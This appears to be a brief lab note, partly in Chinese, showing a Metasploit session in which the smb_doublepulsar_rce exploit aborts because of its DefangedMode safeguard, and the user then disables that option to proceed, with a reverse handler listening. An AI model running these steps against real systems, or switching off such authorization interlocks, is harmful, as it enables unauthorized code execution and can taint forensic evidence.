MSF smb_doublepulsar_rce Defange

截屏2020-07-04 11.04.31.png

msf5 exploit(windows/smb/smb_doublepulsar_rce) > exploit

[*] Started reverse TCP handler on 10.10.16.99:4444 
[-] 10.10.10.40:445 - Exploit aborted due to failure: bad-config: 

Are you SURE you want to execute code against a nation-state implant?
You MAY contaminate forensic evidence if there is an investigation.

Disable the DefangedMode option if you have authorization to proceed.

[*] Exploit completed, but no session was created.

关闭 DefangedMode 选项

msf5 exploit(windows/smb/smb_doublepulsar_rce) > set DefangedMode 
set DefangedMode false  set DefangedMode true   
msf5 exploit(windows/smb/smb_doublepulsar_rce) > set DefangedMode false
DefangedMode => false

---

• DOUBLEPULSAR Payload Execution / Neutralization